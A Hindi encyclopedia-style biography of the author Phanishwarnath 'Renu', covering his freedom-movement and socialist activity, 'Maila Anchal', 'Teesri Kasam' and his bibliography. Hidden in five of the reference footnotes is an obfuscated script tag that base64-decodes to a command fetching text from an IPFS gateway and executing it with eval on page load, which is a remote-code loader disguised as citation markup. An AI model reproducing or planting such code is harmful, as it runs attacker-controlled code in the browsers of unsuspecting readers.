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फणीश्वरनाथ रेणु (अंग्रेज़ी: Phanishwarnath 'Renu', जन्म: 4 मार्च, 1921 - मृत्यु: 11 अप्रैल, 1977) एक सुप्रसिद्ध हिन्दी साहित्यकार थे। हिन्दी कथा साहित्य के महत्त्वपूर्ण रचनाकार फणीश्वरनाथ 'रेणु' का जन्म 4 मार्च 1921 को बिहार के पूर्णिया ज़िला के 'औराही हिंगना' गांव में हुआ था। रेणु के पिता शिलानाथ मंडल संपन्न व्यक्ति थे। भारत के स्वाधीनता संघर्ष में उन्होंने भाग लिया था। रेणु के पिता कांग्रेसी थे। रेणु का बचपन आज़ादी की लड़ाई को देखते समझते बीता। रेणु ने स्वंय लिखा है - पिताजी किसान थे और इलाके के स्वराज-आंदोलन के प्रमुख कार्यकर्ता। खादी पहनते थे, घर में चरखा चलता था। स्वाधीनता संघर्ष की चेतना रेणु में उनके पारिवारिक वातावरण से आयी थी। रेणु भी बचपन और किशोरावस्था में ही देश की आज़ादी की लड़ाई से जुड़ गए थे। 1930-31 ई. में जब रेणु 'अररिया हाईस्कूल' के चौथे दर्जे में पढ़ते थे तभी महात्मा गाँधी की गिरफ्तारी के बाद अररिया में हड़ताल हुई, स्कूल के सारे छात्र भी हड़ताल पर रहे। रेणु ने अपने स्कूल के असिस्टेंट हेडमास्टर को स्कूल में जाने से रोका। रेणु को इसकी सज़ा मिली लेकिन इसके साथ ही वे इलाके के बहादुर सुराजी के रूप में प्रसिद्ध हो गए।[1]

शिक्षा

रेणु की प्रारंभिक शिक्षा 'फॉरबिसगंज' तथा 'अररिया' में हुई। रेणु ने प्रारम्भिक शिक्षा के बाद मैट्रिक नेपाल के 'विराटनगर' के 'विराटनगर आदर्श विद्यालय' से कोईराला परिवार में रहकर किया। रेणु ने इन्टरमीडिएट काशी हिन्दू विश्वविद्यालय से 1942 में किया और उसके बाद वह स्वतंत्रता संग्राम में कूद पड़े। 1950 में रेणु ने 'नेपाली क्रांतिकारी आन्दोलन' में भी भाग लिया।

उपन्यास 'परती परिकथा'
समाजवाद और बिहार सोशलिस्ट पार्टी

बाद में रेणु पढ़ने के लिए बनारस चले गये। बनारस में रेणु ने 'स्टुडेंट फेडरेशन' के कार्यकर्ता के रूप में भी कार्य किया। आगे चलकर रेणु समाजवाद से प्रभावित हुए। 1938 ई० में सोनपुर, बिहार में 'समर स्कूल ऑफ पॉलिटिक्स' में रेणु शामिल हुए। इस स्कूल के प्रिंसिपल जयप्रकाश नारायण थे और कमला देवी चट्टोपाध्याय, मीनू मसानी, अच्युत पटवर्धन, नरेन्द्र देव, अशोक मेहता जैसे लोगों ने इस स्कूल में शिक्षण कार्य किया था। इसी स्कूल में भाग लेने के बाद रेणु समाजवाद और 'बिहार सोशलिस्ट पार्टी' से जुड़ गए। समाजवाद के प्रति रुझान पैदा करने वाले लोगों में रेणु रामवृक्ष बेनीपुरी का भी नाम लेते हैं।

राजनीति और आंदोलन

वे सिर्फ़ सृजनात्मक व्यक्तित्व के स्वामी ही नहीं बल्कि एक सजग नागरिक व देशभक्त भी थे। 1942 के 'भारत छोड़ो आंदोलन' में उन्होंने सक्रिय रूप से योगदान दिया। इस प्रकार एक स्वतंत्रता सेनानी के रूप में उन्होंने अपनी पहचान बनाई। इस चेतना का वे जीवनपर्यंत पालन करते रहे और सत्ता के दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे। 1950 में बिहार के पड़ोसी देश नेपाल में राजशाही दमन बढने पर वे नेपाल की जनता को राणाशाही के दमन और अत्याचारों से मुक्ति दिलाने के संकल्प के साथ वहां पहुंचे और वहां की जनता द्वारा जो सशस्त्र क्रांति व राजनीति की जा रही थी, उसमें सक्रिय योगदान दिया। दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे 'रेणु' ने सक्रिय राजनीति में भी हिस्सेदारी की। 1952-53 के दौरान वे बहुत लम्बे समय तक बीमार रहे। फलस्वरूप वे सक्रिय राजनीति से हट गए। उनका झुकाव साहित्य सृजन की ओर हुआ। 1954 में उनका पहला उपन्यास 'मैला आंचल' प्रकाशित हुआ। मैला आंचल उपन्यास को इतनी ख्याति मिली कि रातों-रात उन्हें शीर्षस्थ हिन्दी लेखकों में गिना जाने लगा।
जीवन के सांध्यकाल में राजनीतिक आन्दोलन से उनका पुनः गहरा जुड़ाव हुआ। 1975 में लागू आपातकाल का जे.पी. के साथ उन्होंने भी कड़ा विरोध किया। सत्ता के दमनचक्र के विरोध स्वरूप उन्होंने पद्मश्री की मानद उपाधि लौटा दी। उनको न सिर्फ़ आपात स्थिति के विरोध में सक्रिय हिस्सेदारी के लिए पुलिस यातना झेलनी पड़ी बल्कि जेल भी जाना पड़ा। 23 मार्च 1977 को जब आपात स्थिति हटी तो उनका संघर्ष सफल हुआ। परन्तु वो इसके बाद अधिक दिनों तक जीवित न रह पाए। रोग से ग्रसित उनका शरीर जर्जर हो चुका था।

लेखन कार्य

फणीश्वरनाथ रेणु ने 1936 के आसपास से कहानी लेखन की शुरुआत की थी। उस समय कुछ कहानियाँ प्रकाशित भी हुई थीं, किंतु वे किशोर रेणु की अपरिपक्व कहानियाँ थी। 1942 के आंदोलन में गिरफ़्तार होने के बाद जब वे 1944 में जेल से मुक्त हुए, तब घर लौटने पर उन्होंने 'बटबाबा' नामक पहली परिपक्व कहानी लिखी। 'बटबाबा' 'साप्ताहिक विश्वमित्र' के 27 अगस्त 1944 के अंक में प्रकाशित हुई। रेणु की दूसरी कहानी 'पहलवान की ढोलक' 11 दिसम्बर 1944 को 'साप्ताहिक विश्वमित्र' में छ्पी। 1972 में रेणु ने अपनी अंतिम कहानी 'भित्तिचित्र की मयूरी' लिखी। उनकी अब तक उपलब्ध कहानियों की संख्या 63 है। 'रेणु' को जितनी प्रसिद्धि उपन्यासों से मिली, उतनी ही प्रसिद्धि उनको उनकी कहानियों से भी मिली। 'ठुमरी', 'अगिनखोर', 'आदिम रात्रि की महक', 'एक श्रावणी दोपहरी की धूप', 'अच्छे आदमी', 'सम्पूर्ण कहानियां', आदि उनके प्रसिद्ध कहानी संग्रह हैं।

फ़िल्म 'तीसरी क़सम'

फ़िल्म 'तीसरी क़सम' का पोस्टर

उनकी कहानी 'मारे गए गुलफ़ाम' पर आधारित फ़िल्म 'तीसरी क़सम' ने भी उन्हें काफ़ी प्रसिद्धि दिलवाई। इस फ़िल्म में राजकपूर और वहीदा रहमान ने मुख्य भूमिका में अभिनय किया था। 'तीसरी क़सम' को बासु भट्टाचार्य ने निर्देशित किया था और इसके निर्माता सुप्रसिद्ध गीतकार शैलेन्द्र थे। यह फ़िल्म हिंदी सिनेमा में मील का पत्थर मानी जाती है। कथा-साहित्य के अलावा उन्होंने संस्मरण, रेखाचित्र और रिपोर्ताज आदि विधाओं में भी लिखा। उनके कुछ संस्मरण भी काफ़ी मशहूर हुए। 'ऋणजल धनजल', 'वन-तुलसी की गंध', 'श्रुत अश्रुत पूर्व', 'समय की शिला पर', 'आत्म परिचय' उनके संस्मरण हैं। इसके अतिरिक्त वे 'दिनमान पत्रिका' में रिपोर्ताज भी लिखते थे। 'नेपाली क्रांति कथा' उनके रिपोर्ताज का उत्तम उदाहरण है।

आंचलिक कथा

उन्होंने हिन्दी में आंचलिक कथा की नींव रखी। सच्चिदानन्द हीरानन्द वात्स्यायन अज्ञेय, एक समकालीन कवि, उनके परम मित्र थे। इनकी कई रचनाओं में कटिहार के रेलवे स्टेशन का उल्लेख मिलता है।

लेखन शैली

इनकी लेखन शैली वर्णनात्मक थी जिसमें पात्र के प्रत्येक मनोवैज्ञानिक सोच का विवरण लुभावने तरीके से किया होता था। पात्रों का चरित्र-निर्माण काफ़ी तेज़ीसे होता था क्योंकि पात्र एक सामान्य-सरल मानव मन (प्रायः) के अतिरिक्त और कुछ नहीं होता था। इनकी लगभग हर कहानी में पात्रों की सोच घटनाओं से प्रधान होती थी। 'एक आदिम रात्रि की महक' इसका एक सुंदर उदाहरण है। इनकी लेखन-शैली प्रेमचंद से काफ़ी मिलती थी और इन्हें आज़ादी के बाद का प्रेमचंद की संज्ञा भी दी जाती है। अपनी कृतियों में उन्होंने आंचलिक पदों का बहुत प्रयोग किया है।

मैला आंचल

उपन्यास 'मैला आंचल'

'रेणु' जी का 'मैला आंचल' वस्तु और शिल्प दोनों स्तरों पर सबसे अलग है। इसमें एक नए शिल्प में ग्रामीण-जीवन को चित्रित किया गया है। इसकी विशेषता है कि इसका नायक कोई व्यक्ति (पुरुष या महिला) नहीं वरन् पूरा का पूरा अंचल ही इसका नायक है। मिथिलांचल की पृष्ठभूमि पर रचे इस उपन्यास में उस अंचल की भाषा विशेष का अधिक से अधिक प्रयोग किया गया है। यह प्रयोग इतना सार्थक है कि वह वहां के लोगों की इच्छा-आकांक्षा, रीति-रिवाज़, पर्व-त्यौहार, सोच-विचार, को पूरी प्रामाणिकता के साथ पाठक के सामने उपस्थित करता है। इसकी भूमिका, 9 अगस्त 1954, को लिखते हुए फणीश्वरनाथ 'रेणु' कहते हैं, 'यह है मैला आंचल, एक आंचलिक उपन्यास। इस उपन्यास के केन्द्र में है बिहार का पूर्णिया ज़िला, जो काफ़ी पिछड़ा है।' रेणु कहते हैं,

इसमें फूल भी है, शूल भी, धूल भी है, गुलाब भी, कीचड़ भी है, चंदन भी, सुंदरता भी है, कुरूपता भी – मैं किसी से दामन बचाकर नहीं निकल पाया।[2]

भाषा द्वारा चित्रण

उन्होंने अंचल विशेष की भाषा का अधिक से अधिक प्रयोग किया ताकि उस जन समुदाय को ज़्यादा से ज़्यादा प्रमाणिकता से चित्रित किया जा सके। 'रेणु' ने अपनी अनेक रचनाओं में आंचलिक परिवेश के सौंदर्य, उसकी सजीवता और मानवीय संवेदनाओं को अद्वितीय ढंग से वर्णित किया है। दृश्यों को चित्रित करने के लिए उन्होंने गीत, लय-ताल, वाद्य, ढोल, खंजड़ी नृत्य, लोकनाटक जैसे उपकरणों का सुंदर प्रयोग किया है। 'रेणु' ने मिथक, लोकविश्वास, अंधविश्वास, किंवदंतियां, लोकगीत- इन सभी को अपनी रचनाओं में स्थान दिया है। उन्होंने 'मैला आंचल' उपन्यास में अपने अंचल का इतना गहरा व व्यापक चित्र खींचा है कि सचमुच यह उपन्यास हिन्दी में आंचलिक औपन्यासिक परंपरा की सर्वश्रेष्ठ कृति बन गया है। उनका साहित्य हिंदी जाति के सौंदर्य बोध को समृद्ध करने के साथ-साथ अमानवीयता, पराधीनता और साम्राज्यवाद का प्रतिवाद भी करता है। व्यक्ति और कृतिकार दोनों ही रूपों में 'रेणु' अप्रतिम थे।[3]

रचनाएँ

रेणु की कुल 26 पुस्तकें हैं। इन पुस्तकों में संकलित रचनाओं के अलावा भी काफ़ी रचनाएँ हैं जो संकलित नहीं हो पायीं, कई अप्रकाशित आधी अधूरी रचनाएँ हैं। असंकलित पत्र पहली बार 'रेणु रचनावली' में शामिल किये गये हैं।

साहित्यिक कृतियां

उपन्यास
  • मैला आंचल 1954
  • परती परिकथा 1957
  • जूलूस 1965
  • दीर्घतपा 1964 (जो बाद में कलंक मुक्ति (1972) नाम से प्रकाशित हुई)
  • कितने चौराहे 1966
  • पल्टू बाबू रोड 1979 [4]
कथा-संग्रह
  • आदिम रात्रि की महक 1967
  • ठुमरी 1959
  • अगिनखोर 1973
  • अच्छे आदमी 1986
संस्मरण
  • आत्म परिचय
  • समय की शिला पर
रिपोर्ताज
  • ऋणजल धनजल 1977[5]
  • नेपाली क्रांतिकथा 1977[6]
  • वनतुलसी की गंध 1984
  • एक श्रावणी दोपहरी की धूप 1984
  • श्रुत अश्रुत पूर्व 1986
प्रसिद्ध कहानियां
  • मारे गये गुलफाम[7]
  • एक आदिम रात्रि की महक
  • लाल पान की बेगम
  • पंचलाइट
  • तबे एकला चलो रे
  • ठेस
  • संवदिया
ग्रंथावली
  • फणीश्वरनाथ रेणु ग्रंथावली
प्रकाशित पुस्तकें[8]
  • वनतुलसी की गंध 1984
  • एक श्रावणी दोपहरी की धूप 1984
  • श्रुत अश्रुत पूर्व 1986
  • अच्छे आदमी 1986
  • एकांकी के दृश्य 1987
  • रेणु से भेंट 1987
  • आत्म परिचय 1988
  • कवि रेणु कहे 1988
  • उत्तर नेहरू चरितम्‌ 1988
  • फणीश्वरनाथ रेणु: चुनी हुई रचनाएँ 1990
  • समय की शिला पर 1991
  • फणीश्वरनाथ रेणु अर्थात्‌ मृदंगिये का मर्म 1991
  • प्राणों में घुले हुए रंग 1993
  • रेणु की श्रेष्ठ कहानियाँ 1992
  • चिठिया हो तो हर कोई बाँचे (यह पुस्तक प्रकाश्य में है)

सम्मान और पुरस्कार

फणीश्वरनाथ रेणु (सबसे बाएँ) के साथ रामधारी सिंह 'दिनकर' (बोलते हुए)

अपने प्रथम उपन्यास मैला आंचल के लिये उन्हें पद्मश्री से सम्मानित किया गया।

निधन

रेणु सरकारी दमन और शोषण के विरुद्ध ग्रामीण जनता के साथ प्रदर्शन करते हुए जेल गये। रेणु ने आपातकाल का विरोध करते हुए अपना 'पद्मश्री' का सम्मान भी लौटा दिया। इसी समय रेणु ने पटना में 'लोकतंत्र रक्षी साहित्य मंच' की स्थापना की। इस समय तक रेणु को 'पैप्टिक अल्सर' की गंभीर बीमारी हो गयी थी। लेकिन इस बीमारी के बाद भी रेणु ने 1977 ई. में नवगठित जनता पार्टी के लिए चुनाव में काफ़ी काम किया। 11 अप्रैल 1977 ई. को रेणु उसी 'पैप्टिक अल्सर' की बीमारी के कारण चल बसे।[9]


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टीका टिप्पणी और संदर्भ

  1. फणीश्वरनाथ रेणु:एक परिचय (हिंदी)। । अभिगमन तिथि: 13 जनवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. पुस्तक परिचय-15 : “मैला आंचल” (हिंदी)। । अभिगमन तिथि: 13 जनवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. फणीश्वरनाथ रेणु (हिंदी)। । अभिगमन तिथि: 13 जनवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. (यह उपन्यास 'ज्योत्सना' के अंकों से निकालकर अनुपम प्रकाशन ने प्रकाशित किया)
  5. मृत्यु के बाद प्रकाशित
  6. मृत्यु के बाद प्रकाशित
  7. 'मारे गये गुलफाम' कहानी पर प्रसिद्ध गीतकार शैलेंद्र ने फ़िल्म 'तीसरी कसम' का निर्माण किया जिसमें राजकपूर और वहीदा रहमान ने अभिनय किया।
  8. यायावर, भारत “भाग-1”, रेणु रचनावली, प्रथम संस्करण (हिंदी), भारत डिस्कवरी पुस्तकालय: राजकमल प्रकाशन, 11।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  9. फणीश्वरनाथ रेणु:एक परिचय (हिंदी)। । अभिगमन तिथि: 13 जनवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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